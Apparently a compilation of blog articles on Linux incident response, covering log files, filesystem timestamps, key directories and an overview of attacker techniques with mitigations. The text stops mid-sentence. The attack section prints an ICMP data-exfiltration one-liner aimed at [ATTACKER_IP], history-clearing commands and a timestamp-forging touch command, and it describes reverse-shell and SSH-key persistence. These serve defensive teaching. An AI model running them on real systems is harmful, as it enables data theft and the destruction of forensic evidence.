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In the field of incident response (IR), logs play a critical role in uncovering how attackers infiltrated a system, what actions they performed, and what resources were compromised. Whether you're hunting for exploits, analyzing unauthorized access, or investigating malware, having a solid understanding of log locations and analysis strategies is essential for efficiently handling incidents. 1. Log File Locations on Linux Most log files on Linux systems are stored in the /var/log/  directory. Capturing logs from this directory should be part of any investigation. Key Directories: /var/log/ : Main directory for system logs . /var/run/ : Contains volatile data for live systems , symlinked to /run. When dealing with live systems, logs in /var/run can be crucial as they may not be present on a powered-down system (e.g., VM snapshots). Key Log Files: /var/log/messages: CentOS/RHEL systems ; contains general system messages, including some authentication events. /var/log/syslog : Ubuntu systems ; records a wide range of system activities. / var/log/secure : CentOS/RHEL; contains authentication and authorization logs, including su (switch user) events. /var/log/auth.log : Ubuntu; stores user authorization data, including SSH logins. For CentOS, su usage can be found in /var/log/messages, /var/log/secure, and /var/log/audit/audit.log. On Ubuntu, su events are not typically found in /var/log/syslog but in /var/log/auth.log. 2. Grepping for Key Events When performing threat hunting, the grep command is an effective tool for isolating critical events from logs. A common practice is to search for specific terms, such as: root : Identify privileged events. CMD : Find command executions. USB : Trace USB device connections. su : On CentOS, find switch user activity. For example, you can run: grep root /var/log/messages 3. Authentication and Authorization Logs Key Commands: last : Reads login history from binary log files such as utmp, btmp, and wtmp. lastlog : Reads the lastlog file, showing the last login for each user. faillog : Reads the faillog, showing failed login attempts. Authentication logs are stored in plain text in the following locations: /var/log/secure  (CentOS/RHEL) /var/log/auth.log  (Ubuntu) These files contain vital data on user authorization sessions, such as login events from services like SSH. Key Events to Hunt: Failed sudo attempts : These indicate potential privilege escalation attempts. Root account activities : Any changes to key system settings made by the root account should be scrutinized. New user or cron jobs creation : This can be indicative of persistence mechanisms established by attackers. 4. Binary Login Logs Binary login logs store data in a structured format that isn’t easily readable by standard text editors. These logs record user login sessions, failed login attempts, and historical session data. Key files include: /var/run/utmp : Shows users and sessions currently logged in (available on live systems). /var/log/wtmp : Contains historical data of login sessions. /var/log/btmp : Logs failed login attempts. Note : The utmp file is located in /var/run/, which is volatile and only exists on live systems. When analyzing offline snapshots, data in utmp won’t be available unless the system was live when captured. Viewing Binary Login Files You can use the last command to view binary login logs. The syntax for viewing each file is: last -f /var/run/utmp last -f /var/log/wtmp last -f /var/log/btmp Alternatively, you can use utmpdump to convert binary log files into human-readable format: utmpdump /var/run/utmp utmpdump /var/log/wtmp utmpdump /var/log/btmp For systems with heavy activity, piping the output to less or using grep for specific users is helpful to narrow down the results. 5. Analyzing wtmp for Logins When reviewing login activity from the wtmp file , there are a few critical areas to examine: Key Data: Username : Indicates the user who logged in. This could include special users like "reboot" or unknown users. An unknown entry may suggest a misconfigured service or a potential intrusion . IP Address : If the login comes from a remote system, the IP address is logged. However, users connecting to multiple terminals may be shown as :0. Logon/Logoff Times : The date and time of the login event, and typically only the log-off time. This can make long sessions hard to identify. Notably, the last command does not display the year, requiring attention to timestamps. Duration : The duration of the session is shown in hh:mm format or in dd+hh:mm for longer sessions. For large systems with extensive activity, filtering for specific users or login times helps focus the analysis. You can do this with: last | grep 6. btmp Analysis The btmp file logs failed login attempts , providing insights into potential brute-force attacks or unauthorized access attempts. Key areas to focus on when analyzing btmp are: Username : This shows the account that attempted to authenticate. Keep in mind, it doesn't log non-existent usernames, so failed attempts to guess usernames won’t show up. Terminal : If the login attempt came from the local system, the terminal will be marked as :0. Pay attention to login attempts from unusual or unexpected terminals. IP Address : This shows the remote machine (if available) where the attempt originated. This can help in identifying the source of a potential attack. Timestamp : Provides the start time of the authentication event. If the system doesn’t log the end time, it will appear as "gone" in the log. These incomplete events could signal abnormal activity. Using lastb to view the btmp file can quickly provide a summary of failed login attempts. 7. Lastlog and Faillog These logs, while useful for IR, come with reliability issues. However, they can still provide valuable clues. Lastlog The lastlog file captures the last login time for each user . On Ubuntu , this log can sometimes be unreliable , especially for terminal logins, where users may appear as "Never logged on" even while active. Command to view: lastlog lastlog -u # For a specific user In a threat hunting scenario, gathering lastlog data across multiple systems can help identify anomalies, such as accounts showing unexpected login times or systems reporting no recent logins when there should be. Faillog The faillog captures failed login events but is known to be unreliable, especially as it’s not available in CentOS/RHEL systems anymore . Still, on systems where it exists, it can track failed login attempts for each user account. Command to view: faillog -a # View all failed logins faillog -u # Specific user account For an IR quick win, use lastlog across your devices to check for unusual login patterns, even if you need to keep in mind that Ubuntu's implementation isn’t always consistent. 8. Audit Logs: A Deep Dive into System Activity The audit daemon ( auditd) is a powerful tool for logging detailed system activity. On CentOS, it’s enabled by default, but on U buntu, elements of the audit log are often captured in auth.log . The audit daemon captures events like system calls and file activity, which makes it a critical tool in IR and hunting. Key Audit Logs: /var/log/audit/audit.log : This log captures authentication and privilege escalation events (su usage, for instance), as well as system calls. System calls : Logs system-level activities and their context, such as user accounts and arguments. File activity : If enabled, it monitors file read/write operations, execution , and attribute changes. To analyze audit logs effectively, you can use: ausearch : A powerful tool for searching specific terms. For example: ausearch -f # Search events related to a file ausearch -p # Search events related to a process ID ausearch -ui # Search events related to a specific user This is particularly useful for finding specific events during IR. There are lots more and it is worth checking the man pages in detail or https://linux.die.net/man/8/ausearch aureport : Ideal for triage or baselining systems. It’s less granular than ausearch but provides a broader view that can help identify unusual behavior. Configuration The audit configuration is stored in /etc/audit/rules.d/audit.rules. For example, on a webserver, you could configure audit rules to monitor changes to authentication files or directories related to the webserver. By customizing auditd, you can focus on high-priority areas during IR, such as monitoring for unauthorized changes to system files or authentication events. ---------------------------------------------------------------------------------------------- 1. Application Logs: Key to Incident Response Application logs provide crucial insights during an incident response investigation. Logs stored in /var/log often include data from web servers, mail servers, and databases. Administrators can modify these log paths, and attackers with elevated privileges can disable or erase them, making log analysis a critical part of any forensic process. Common Locations for Application Logs: Webserver (Apache/HTTPd/Nginx) : /var/log/apache2, /var/log/httpd, /var/log/nginx Mail Server : /var/log/mail Database : /var/log/mysqld.log, /var/log/mysql.log, /var/log/mariadb/* (i) Application Logs: HTTPd Logs Webserver logs, such as Apache or Nginx, are often the first place to investigate in incident response because they capture attacker enumeration activity, such as scanning or attempts to exploit web vulnerabilities. These logs reside in: /var/log/apache2 (Ubuntu) /var/log/httpd (CentOS) /var/log/nginx (for Nginx servers) These logs can be found on various servers, including web, proxy, and database servers, and help track attacks targeting specific web services. 2. Webserver Logs: Two Main Types 1. Access Log Purpose : Records all HTTP requests made to the server. This log is critical for determining what resources were accessed , the success of these requests, and the volume of the response. Important Fields : IP Address : Tracks the client or source system making the request. HTTP Request : Shows what resource was requested (GET, POST, etc.). HTTP Response Code : Indicates if the request was successful (200), or unauthorized (401), among others. Response Size : Displays the amount of data transferred in bytes. Referer : Shows the source URL that directed the request (if available). User Agent (UA) : Provides details about the client (browser, operating system, etc.). Example Access Log Entry: 2. Error Log Purpose : Records diagnostic information and alerts related to server issues such as upstream connectivity failures or backend system connection problems. It's useful for troubleshooting server-side issues. SSL/TLS Logging : In some configurations, web servers also log SSL/TLS data (e.g., ssl_access_log) containing HTTPS requests, but these may lack User Agent strings and HTTP response codes Quick Incident Response Wins with Webserver Logs Review HTTP Methods Used : Look for unusual or malicious HTTP methods like OPTIONS, DELETE, or PATCH, which may indicate scanning tools or attempted exploits. Webshells often use POST requests to execute commands or upload files. Look for Suspicious Pages : Use the HTTP 200 response code to identify successful requests. Search for unusual or non-existent filenames (like c99.php, which is commonly used for webshells). Analyze User-Agent Strings : Attackers may use default or uncommon User-Agent strings, which can help trace their activity. Even though these strings can be spoofed, they’re still valuable for identifying patterns, especially for internal servers. Example Commands for Webserver Log Analysis 1. Checking Pages Requested : cat access_log* | cut -d '"' -f2 | cut -d ' ' -f2 | sort | uniq -c | sort -n This command will display a count of unique pages requested, making it easy to spot anomalies or repeated access to specific files. 2. Searching for Specific Methods (e.g., POST) : cat access_log* | grep "POST" This will filter all POST requests, which can be indicative of webshells or exploits that use POST to upload or execute files. 3. Reviewing User Agent Strings : cat access_log* | cut -d '"' -f6 | sort | uniq -c | sort -n This extracts and counts unique User Agent strings, allowing you to spot unusual or uncommon strings that may belong to attackers. (Modify as per logs availability) Conclusion: Tailor the Strategy An effective log strategy is key to unraveling the attack chain in an incident response. Start where the attacker likely started, whether that’s the web server, database, or another service. The primary goal is to build a clear timeline of the attack by correlating logs across different systems. By following these strategies, you can mitigate the damage and gather critical forensic data that will assist in remediating the incident and preventing future breaches. Akash Patel

When it comes to forensic investigations, Windows is often the primary focus. However, with the rise of Linux in server environments, it’s essential for incident responders to have a deep understanding of Linux filesystems, especially when identifying evidence and tracking an attacker’s activities. The Importance of Timestamps: MACB Much like in Windows, timestamps in Linux provide crucial forensic clues. However, the way Linux handles these timestamps can vary depending on the filesystem in use. M – Modified Time A – Access Time : It's often unreliable due to system processes. C – Metadata Change Time When a file’s metadata (like permissions or ownership) was last modified. B – File Creation Time : Found in more modern filesystems like EXT4 and ZFS, but absent in older systems like EXT3. Filesystem Timestamp Support: EXT3 : Supports only MAC . EXT4 : Supports MACB , though some tools may show only MAC . XFS : Supports MAC , and has included creation time  since 2015. ZFS : Supports MACB . Each of these timestamps provides vital clues, but their reliability can vary based on the specific file operations performed. For example, access time (A) is frequently altered by background processes, making it less trustworthy for forensic analysis. EXT4 Time Rules: Copying and Moving Files When dealing with the EXT4 filesystem, understanding how timestamps behave during file operations can provide critical evidence: File Copy FILE MAC times change to time of file copy DIRECTORY MC times change to time of file copy File Move FILE C time changes to time of move DIRECTORY MC times changes to time of move This timestamp behavior is simpler than that of Windows but still provides important data during an investigation, especially when tracking an attacker’s activities. Important Note: Curl vs. Wget – different time stamp results Comparing Linux and Windows Filesystems For investigators accustomed to Windows, Linux presents unique challenges: No MFT : Unlike Windows, Linux doesn’t have a Master File Table (MFT) for easy reconstruction of the filesystem. This can make timeline reconstruction more difficult. Journal Analysis : While EXT3 and EXT4 filesystems use journaling, a ccessing and analyzing these journals is challenging . Tools like debugfs and jls from The Sleuth Kit can help, but journal data isn’t as easy to parse as NTFS data. Metadata Handling : Linux filesystems handle metadata differently from Windows, which stores nearly everything as metadata. Linux systems may require deeper analysis of directory structures and permissions. ************************************************************************************************************** Key Linux Directories for Incident Response In a forensic investigation, understanding the structure and legitimate locations of files on a Linux system is crucial. / - root. This is the “base” of the file structure, and every file starts from here. Only user accounts with root privileges can write files here. ***NOTE: /root is the root users home folder and is different from /. /sbin – System binaries. This s tores executable files typically used by the system administrator or provide core system functionality. E xamples include fdisk and shutdown . Although attackers rarely modify files here, it should still be checked to validate change times etc. As an example, the attackers could replace the reboot binary with one which reopens their connection. /bin – User binaries. This holds the executable files for common user-commands, such as ls, grep etc. Often this is a symlink to /usr/bin. During IR, this should be checked to see if any legitimate files have been modified or replaced. /etc – Configuration files. This folder holds configuration data for applications and startup/shutdown shell scripts . As an investigator this is often important to confirm how a system was set up and if the attackers changed critical configurations to allow access. This is one of the most attacked locations. /dev – Devices. This folder contains the device files . In Linux, where everything is a file, this includes terminal devices (tty1 etc.), which often show up as “Character special file” in directory listings. Mounted disks appear here (often /dev/sda1 etc.) and can be accessed directly or copied to another location. /mnt – Mount points. Conceptually related to the /dev folder , the / mnt directory is traditionally used to mount additional filesystems. Responders should always check the contents and account for mounted devices. /var – Variable files. This contains files which are expected to change size significantly and, in some cases, have transitory lifespans. *** For incident responders, /var/log is often the first place to look for significant data. However, this also contains mail (/var/mail), print queues (/var/spool) and temp files trying to persist across r eboots (/var/tmp) . /tmp – Temporary files. As the name suggests, system and user generated files can be stored here as a temporary measure. Most operating systems will delete files under this directory on reboot. It is also frequently used by attackers to stage payloads and transfer data. /usr – User applications. T his folder contains binaries, libraries, documentation etc. for non-core system files. *** /usr/bin is normally the location for commands user’s generally run (less, awk, sed etc. ) *** /usr/sbin is normally files run by administrators (cron, useradd etc. ). Attackers often modify files here to establish persistence and privilege escalate. *** /usr/lib is used to store object libraries and executables which aren’t directly invoked. /home – Home directories ( / root for the root account home director y) for users. This is where most “personal” data and files are stored. It will often be used by attackers to stage data. ***Where attackers compromise an account, the evidence (such as commands issued) is often in the home directory for that account. /boot – Bootloader files. This holds the files related to the bootloader and other system files called as part of the start up sequence. Examples i nclude initrd and grub files. *** For incident response, the /boot/system.map file is essential when it comes to building profiles for memory analysis. /lib – System libraries. This holds the shared objects used by executable files in /bin and /sbin (and /usr/bin & /usr/sbin). Filenames are often in the format lib*.so.* and function similar to DLL files in Windows. /opt – Optional/Add-on files . This location is used by applications which users add to the system and the subfolders are often tied to individual vendors . ***During incident response, this is an excellent location to review but remember, nothing forces applications to store data in this folder. /media – Removable media devices . Often used as a temporary mount point for optical devices. There is normally a permanent mount point for floppy drives here, and it is also used to hold USB devices, CD/DVD etc. Some distros also have a /cdrom mount point as well. /srv – Service data. This holds location related to running services and the specific content varies from system to system . For example, if tftp is running as a service, then it will store runtime data in /srv/tftp. Journaling and Forensic Analysis Linux filesystems like EXT3 and EXT4 use journaling to protect against data corruption , but accessing this data can be a challenge for forensic investigators. Journals contain metadata and sometimes even file contents, but they aren’t as accessible as Windows NTFS data. For journal analysis, tools like debugfs logdump and jls can help. However, the output from these tools is often difficult to interpret and requires specialized knowledge. Conclusion While Linux lacks some of the forensic conveniences found in Windows (like the MFT), understanding its filesystem structure and how timestamps behave during common file operations is key to uncovering evidence. Knowing where to look for modified files, how to analyze metadata, and which directories are most likely to contain signs of compromise will give you a strong foundation for incident response in Linux environments. A kash Patel

When it comes to Linux, one of the things that sets it apart from other operating systems is the sheer variety of available filesystems. This flexibility can be great for users and administrators, but it can pose significant challenges for Digital Forensics and Incident Response (DFIR) teams. Defaults and Common Filesystems Although there are many different filesystems in Linux, defaults exist for most distributions, simplifying things for responders. Here are the most common filesystems you'll encounter: EXT3 : This is an older filesystem that's largely been replaced but can still be found in older appliances like firewalls, routers, and legacy systems . EXT4 : The current go-to for most Debian-based systems (e.g., Ubuntu) . It's an updated version of EXT3 with improvements like better journaling and performance. XFS : Preferred by CentOS, RHEL, and Amazon Linux . It’s known for its scalability and defragmentation capabilities. It's commonly used in enterprise environments and cloud platforms. Notable mentions Btrfs , used by Fedora and OpenSUSE ZFS , which is specialized for massive storage arrays and servers . Challenges in Linux Filesystem Forensics Inconsistencies Across Filesystems Each Linux filesystem has its quirks, which can make forensic analysis more difficult. EXT3 might present data in one way, while XFS handles things differently. Appliances running Linux (like firewalls and routers) often complicate things further by using outdated filesystems or custom configurations. The Problem of LVM2 Logical Volume Manager (LVM2) is commonly used in Linux environments to create single logical volumes from multiple disks or partitions. While this is great for flexibility and storage management, it’s a pain for forensic investigators. Many tools (both commercial and open-source) struggle to interpret LVM2 structures, especially in virtual environments like VMware, where VMDK files are used. The best approach? Get a full disk image rather than relying on snapshots. Timestamps Aren't Always Reliable Timestamps in Linux, especially on older filesystems like EXT3, aren’t as granular as those in NTFS. EXT3 timestamps are accurate only to the second, while EXT4 and XFS provide nanosecond accuracy . Furthermore, modifying timestamps in Linux is trivial, thanks to the touch command. Example:- malicious actor could use touch -a -m -t 202101010000 filename to make a file appear as though it was created on January 1, 2021. Always double-check timestamps, and consider using inode sequence numbers to validate whether they’ve been tampered with. Tooling Support Gaps DFIR tools vary in their support for different Linux filesystems. Free tools like The Sleuth Kit and Autopsy often support EXT3 and EXT4 but struggle with XFS, Btrfs, and ZFS. Commercial tools may also fall short in analyzing these filesystems, though tools like FTK or X-Ways provide better support. When all else fails, mounting the filesystem in Linux (using SIFT, for example) and manually examining it can be a reliable workaround. How to Identify the Filesystem Type If you have access to the live system, determining the filesystem is relatively simple: lsblk -f : This command shows an easy-to-read table of filesystems, partitions, and mount points. It’s particularly helpful for identifying root and boot partitions on CentOS systems (which will often use XFS). df -Th : This provides disk usage information along with filesystem types. However, it can be noisy, especially if Docker is installed. Because if this instead of above command use: lsblk -f For deadbox forensics, you have options like: cat /etc/fstab : This command shows the filesystem table, useful for both live and mounted systems. fsstat : Part of The Sleuth Kit, this command helps determine the filesystem of an unmounted image. File System in Detail: The EXT3 Filesystem Released in 2001, EXT3 was a major step up from EXT2 due to its support for journaling, which improves error recovery. EXT3 offers three journaling modes: Journal : This logs both metadata and file data to the journal, making it the most fault-tolerant mode. Ordered : Only metadata is journaled, while file data is written to disk before metadata is updated. Writeback : The least safe but most performance-oriented mode, as metadata can be updated before file data is written. One downside to EXT3 is that recovering deleted files can be tricky . Unlike EXT2, where deleted files might be recoverable by locating inode pointers, EXT3 wipes these pointers upon deletion. Specialized tools like fib, foremost, or frib are often required for recovery. The EXT4 Filesystem EXT4, the evolution of EXT3, became the default filesystem for many Linux distributions starting around 2008. It introduced several improvements: Journaling with checksums : Ensures the integrity of data in the journal. Delayed allocation : Reduces fragmentation by waiting to allocate blocks until the file is ready to be written to disk. While this improves performance , it also creates the risk of data loss. Improved timestamps : EXT4 provides nanosecond accuracy, supports creation timestamps (crtime), and can handle dates up to the year 2446. However, not all tools (especially older ones) are capable of reading these creation timestamps. File recovery on EXT4 is difficult due to the use of extents (groups of contiguous blocks) rather than block pointers. Once a file is deleted, its extent is zeroed, making recovery nearly impossible without file carving tools like foremost or photorec. The XFS Filesystem Originally developed in 1993, XFS has made a comeback in recent years , becoming the default filesystem for many RHEL-based distributions. XFS is w ell-suited for cloud platforms and large-scale environments due to features like: Defragmentation : XFS can defragment while the system is running. Dynamic disk resizing : It allows resizing of partitions without unmounting. Delayed allocation : Similar to EXT4, this helps reduce fragmentation but introduces some risk of data loss. One challenge with XFS is the limited support among DFIR tools. Most free and even some commercial tools struggle with XFS, although Linux-based environments like SIFT can easily mount and examine it. File recovery on XFS is also challenging , requiring file carving or string searching. Dealing with LVM2 in Forensics L VM2 (Logical Volume Manager) is frequently used in Linux systems to create logical volumes from multiple physical disks or partitions . This can create significant challenges during forensic investigations, especially when dealing with disk images or virtual environments. Some forensic tools can’t interpret LVM2 structures, making it difficult to analyze disk geometry. The best solution is to carve data directly from a live system or mount the image in a Linux environment (like SIFT). Commercial tools l ike FTK and X-Ways also offer better support for LVM2 analysis, but gaps in data collection may still occur. Conclusion: Linux filesystem forensics requires a broad understanding of multiple filesystems and their quirks. EXT4, XFS, and LVM2 are just a few of the complex technologies that forensic responders must grapple with, and each poses its unique challenges. By knowing the tools, techniques, and limitations of each filesystem, DFIR professionals can navigate this complexity with more confidence. A kash Patel

------------------------------------------------------------------------------------------------------------ Attacking Linux: Initial Exploitation  Linux presents a different landscape than typical Windows environments. Unlike personal computers, Linux is often used as a server platform, making it less susceptible to attacks through traditional phishing techniques. However, attackers shift their focus toward exploiting services running on these servers. Webservers: The Prime Target Webservers are a favorite target for attackers. They often exploit vulnerabilities in server code to install webshells, potentially gaining full control of the server.   Tools like Metasploit make this process easier by automating many steps of the exploitation. Configuration Issues: The Silent Threat Open ports are constantly scanned by attackers for weaknesses . Even minor configuration issues can lead to significant problems.  Ensuring that all services are properly configured and secured is crucial to prevent unauthorized access . Account Attacks: The Common Approach Account attacks range from credential reuse to brute force attacks against authentication systems. Default accounts, especially root, are frequently targeted and should be locked down and monitored.  Applying the principle of least privilege across all system and application accounts is essential to minimize risk. Exploitation Techniques Public-Facing Applications : Exploiting vulnerabilities in web applications to gain initial access. Phishing : Targeting users to obtain credentials that can be used to access servers. Brute Force Attacks : Attempting to gain access by systematically trying different passwords . Tools and Techniques Metasploit : A powerful tool for developing and executing exploits against vulnerable systems . Nmap : Used for network discovery and security auditing. John the Ripper : A popular password cracking tool. ------------------------------------------------------------------------------------------------------------ Attacking Linux: Privilege Escalation Privilege escalation in Linux systems often turns out to be surprisingly simple for attackers, largely due to misconfigurations or shortcuts taken by users and administrators . While Linux is known for its robust security features, poor implementation and configuration practices can leave systems vulnerable to exploitation. 1. Applications Running as Root One of the simplest ways for attackers to escalate privileges is by exploiting applications that are unnecessarily running as root or other privileged users Mitigation : Always run applications with the least privilege  necessary. Configure them to run under limited accounts. Regularly audit which accounts are associated with running services and avoid using root unless absolutely essential 2. Sudo Misconfigurations The sudo command allows users to run commands as the super-user, which is useful for granting temporary elevated privileges. For example, if a user account is given permissions to run sudo without a password (ALL=(ALL) NOPASSWD: ALL), an attacker gaining access to that account could execute commands as root without needing further credentials. Mitigation: Limit sudo privileges  to only those users who need them, and require a password for sudo commands. Regularly review the sudoers  file for any misconfigurations. Use role-based access control (RBAC) to further restrict command usage. 3. Plaintext Passwords in Configuration Files Linux relies heavily on configuration files, and unfortunately, administrators often store plaintext passwords in them for ease of access. Mitigation: Never store passwords in plaintext in configuration files. Use environment variables or encrypted password storage solutions instead. Restrict file permissions to ensure only trusted users can access sensitive configuration files. 4. Shell History Files Linux shells, such as Bash and Zsh, store command history in files like ~/.bash_history or ~/.zsh_history. While this can be helpful for administrators, it's also useful for attackers. If a user or admin runs commands with passwords in the command line (for example, using mysql -u root -pPASSWORD), the password can get stored in the history file, giving an attacker access to elevated credentials. Mitigation: Avoid passing passwords  directly in command lines. Use safer methods like prompting for passwords. Set the HISTIGNORE environment variable to exclude commands that contain sensitive information f rom being saved in history files. Regularly clear history files or disable command history for privileged users. 5. Configuration Issues A widespread misconception is that Linux is "secure by default." While Linux is more secure than many other systems, poor configuration can introduce vulnerabilities. A few of the most common issues include improper group permissions, unnecessary SUID bits, and path hijacking. Common configuration issues: Group Mismanagement: Privileged groups like wheel, sudo, and adm  often have broad system access . Mitigation: Limit group membership to essential accounts. Require credentials to be entered when executing commands that need elevated privileges. SUID Bit Abuse: Some applications have the SUID (Set User ID)  bit enabled, which allows them to run with the permissions of the file owner (usually root). Attackers can exploit applications with SUID to execute commands as root. Mitigation: Audit and restrict the use of the SUID bit. Only system-critical applications like passwd should have it. Monitor and log changes to SUID files to detect any suspicious activity. Path Hijacking: If a script or application calls other executables using relative paths, an attacker can modify the PATH environment variable to point to a malicious file, leading to privilege escalation. Mitigation: Always use absolute paths when calling executables in scripts. Secure the PATH variable to avoid tampering and prevent unauthorized binaries from being executed. ------------------------------------------------------------------------------------------------------------ Attacking Linux: Persistence Techniques On Linux, attackers have a broad set of options for persistence, with approaches varying across different distributions. Moreover, due to the long uptime of many Linux servers, attackers may rely on staying undetected for extended periods rather than immediately establishing persistence as they might on Windows. 1. Modifying Startup Files Linux checks various files on system boot and user login, providing attackers with a chance to insert malicious code . Most modifications that result in system-wide persistence require root or elevated privileges, but attackers often target user-level files first, especially when they haven't escalated privileges. .bashrc File: This hidden file in a user’s home directory is executed every time the user logs in or starts a shell . Attackers can insert malicious commands or scripts that will run automatically when the user logs in, granting them persistent access. Example:   Adding a reverse shell command to .bashrc , so every time the user logs in, the system automatically connects back to the attacker. Mitigation: Regularly check .bashrc for suspicious entries. Limit access to user home directories. .ssh Directory: Attackers can place an SSH public key in the authorized_keys file within the .ssh directory of a compromised user account. This allows them to log in without needing the user’s password, bypassing traditional authentication mechanisms. Example:   A dding an attacker’s SSH key to ~/.ssh/authorized_keys, giving them remote access whenever they want. Mitigation: Regularly audit the contents of authorized_keys. Set appropriate file permissions for .ssh directories. 2. System-Wide Persistence Using Init Systems To maintain persistent access across system reboots, attackers often target system startup processes. The exact locations where these startup scripts reside vary between Linux distributions. System V Configurations (Older Systems) /etc/inittab : The inittab file is used by the init  process on some older Linux systems to manage startup processes . /etc/init.d/ and /etc/rc.d/ : These directories store startup scripts that run services when the system boots. Attackers can either modify existing scripts or add new malicious ones. Mitigation: Lock down access to startup files and directories. Regularly audit these directories for unauthorized changes. SystemD Configurations (Modern Systems) SystemD is widely used in modern Linux distributions to manage services and startup processes. It offers more flexibility, but also more opportunities for persistence if misused. /etc/systemd/system/: This directory holds system-wide configuration files for services . Attackers can add their own malicious service definitions here, allowing their backdoor or malware to launch on boot. Example:  Creating a custom malicious service unit file that runs a backdoor when the system starts. /usr/lib/systemd/user/ & /usr/lib/systemd/system/ : Similar to /etc/systemd/system/, these directories are used to store service files . Attackers can modify or add files here to persist across reboots. Mitigation: Regularly check for unauthorized system services. Use access control mechanisms to restrict who can create or modify service files. 3. Cron Jobs Attackers often use cron jobs  to schedule tasks that provide persistence . Cron is a task scheduler in Linux that allows users and admins to run commands or scripts at regular intervals. User-Level Cron Jobs: Attackers can set up cron jobs for a user that periodically runs malicious commands or connects back to a remote server. System-Level Cron Jobs: If the attacker has root privileges, they can set up system-wide cron jobs to achieve the same effect on a larger scale. Mitigation: Audit system cron directories ( /etc/cron.d/, /etc/crontab ) to detect malicious entries. ------------------------------------------------------------------------------------------------------------ Note on System V vs. Systemd System V (SysV) , one of the earliest commercial versions of Unix. The key distinction for enterprise incident response lies in how services and daemons are started. SysV uses the init daemon  to manage the startup of applications, and this process is crucial as it is the first to start upon boot ( assigned PID 1 ) . If the init daemon fails or becomes corrupted, it can trigger a kernel panic . In contrast, Systemd  is a more recent and modern service management implementation , designed to offer faster and more stable boot processes. It uses targets  and service files  to launch applications. Most contemporary Linux distributions have adopted Systemd as the default init system. Identifying the Init System: Check the /etc/ directory : If you find /etc/inittab or content within /etc/init.d/, the system is likely using SysV . If /etc/inittab is absent or there is a /etc/systemd/ directory, it is likely using Systemd . How services are started : If services are started with systemctl start service_name, the system uses Systemd . If services are started with /etc/init.d/service_name start, it is using SysV . ------------------------------------------------------------------------------------------------------------ Attacking Linux – Lateral Movement In Linux environments, lateral movement can be either more difficult or easier than in Windows environments, depending on credential management. Credential Reuse:  In environments where administrators use the same credentials across multiple systems, attackers can leverage compromised accounts to move laterally via SSH . This can happen when unprotected SSH keys are left on systems, allowing attackers to easily authenticate and access other machines. Centrally Managed Environments:  In environments with centralized credential management (e.g., Active Directory  or Kerberos ), attacks can mimic Windows-based tactics. This includes techniques like Kerberoasting  or password guessing  to gain further access ----------------------------------------------------------------------------------------------------------- Attacking Linux – Command & Control (C2) and Exfiltration Linux offers numerous native commands that a ttackers can use to create C2 (Command and Control) channels  and exfiltrate data , often bypassing traditional monitoring systems. ICMP-based Exfiltration:  A simple example of data exfiltration using ICMP packets is: cat file | xxd -p -c 16 | while read line; do ping -p $line -c 1 -q [ATTACKER_IP]; done This script sends data to the attacker's IP via ICMP packets, and many network security tools may overlook it, viewing it as harmless ping traffic. Native Tools for Exfiltration:   Tools like tar  and netcat  provide attackers with flexible methods for exfiltration, offering stealthy ways to send data across the network. ----------------------------------------------------------------------------------------------------------- Attacking Linux – Anti-Forensics In recent years, attackers have become more sophisticated in their attempts to destroy forensic evidence. Linux offers several powerful tools for anti-forensics , which attackers can use to cover their tracks. touch :  This command allows attackers to alter timestamps on files , making it appear as if certain files were created or modified at different times. However, it only offers second-level accuracy  in timestamp manipulation, which can leave traces. rm:  Simply using rm to delete files is often enough to destroy evidence , as f ile recovery on Linux  is notoriously difficult . Unlike some file systems that support undelete features, Linux generally does not. History File Manipulation: Unset History:  Attackers can use unset HISTFILE to prevent any commands from being saved to the history file. Clear History:  Using history -c clears the history file, making it unrecoverable. Prevent History Logging:  By prefixing commands with a space, attackers can prevent those commands from being logged in the shell history file in the first place. ----------------------------------------------------------------------------------------------------------- Conclusion A ttacking Linux systems can be both simple and complex, depending on system configurations and administrative practices.  Proper system hardening and vigilant credential management are critical to reducing these risks. Akash Patel

Linux, often referred to as "just the kernel," forms the foundation for a wide range of operating systems that power much of today’s digital infrastructure. From web servers to supercomputers, and even the "smart" devices in homes, Linux is everywhere. The popularity of Linux is not surprising, as it provides flexibility, scalability, and open-source power to its users. While "Linux" technically refers to the kernel, in real-world discussions, the term often describes the full operating system, which is better defined by its "distribution" (distro). Distributions vary widely and are frequently created or customized by users, making incident response (IR) on Linux environments a unique and challenging endeavor. Why Linux Matters in Incident Response Linux has been widely adopted in corporate environments, particularly for public-facing servers, critical infrastructure, and cloud deployments. By 2030, it is projected that an overwhelming majority of public web servers will continue to rely on Linux. Currently, Linux dominates the server landscape, with 96.3% of the top one million web servers using some version of it . Even in largely Windows-based organizations, the Linux kernel powers essential infrastructure like firewalls, routers, and many cloud services. Understanding Linux is crucial for incident responders as more enterprises embrace this operating system, making it essential to gather, analyze, and investigate data across multiple platforms, including Linux. Understanding Linux Distributions When we talk about Linux in an IR context, we’re often referring to specific distributions. The term "Linux distro" describes the various versions of the Linux operating system, each built around the Linux kernel but offering different sets of tools and configurations. Linux distros tend to fall into three major categories: Debian-based:  These include Ubuntu , Mint , Kali , Parrot , and others. Debian-based systems are commonly seen in enterprise and personal computing environments. Red Hat-based:  Including RHEL (Red Hat Enterprise Linux) , CentOS , Fedora , and Oracle Linux . These distros dominate enterprise environments, with 32% of servers  running RHEL or a derivative. Others:  Distros like Gentoo , Arch , OpenSUSE , and Slackware  are less common in enterprise settings but still exist, especially in niche use cases. With such diversity in Linux environments, incident responders must be aware of different configurations, logging systems, and potential variances in how Linux systems behave. For keeping track of changes and trends in distros, DistroWatch  is a great resource: https://distrowatch.com/ Key Challenges in Incident Response on Linux 1. System Complexity and Configuration One of the main challenges of Linux is its configurability. Unlike Windows, where settings are more standardized, Linux can be customized to the point where two servers running the same distro may behave very differently. For example, log files can be stored in different locations, user interfaces might vary, and various security or monitoring tools may be installed. This flexibility makes it difficult to develop a “one-size-fits-all” approach to IR on Linux. 2. Inexperienced Administrators Many companies struggle to hire and retain experienced Linux administrators , leading to common problems such as insecure configurations and poorly maintained systems. Without adequate expertise, it’ s common to see servers running default settings  with little hardening. This can result in minimal logging, excessive privileges, and other vulnerabilities. 3. Minimal Tooling While Linux is incredibly powerful, security tools and incident response capabilities on Linux lag behind what is available for Windows environments . As a result, responders may find themselves lacking the familiar tools they would use on a Windows system. P erformance issues on Linux-based security tools often force incident responders to improvise, using a mix of built-in Linux utilities and third-party open-source tools. One way to address this issue is by using cross-platform EDR tools like Velociraptor , which provide consistency across environments and can help streamline investigations on Linux systems. 4. Command Line Dominance Linux's reliance on the command line is both a strength and a challenge. While GUIs exist, many tasks—especially for incident response—are done at the command line . Responders need to be comfortable working with shell commands to gather evidence, analyze data, and conduct 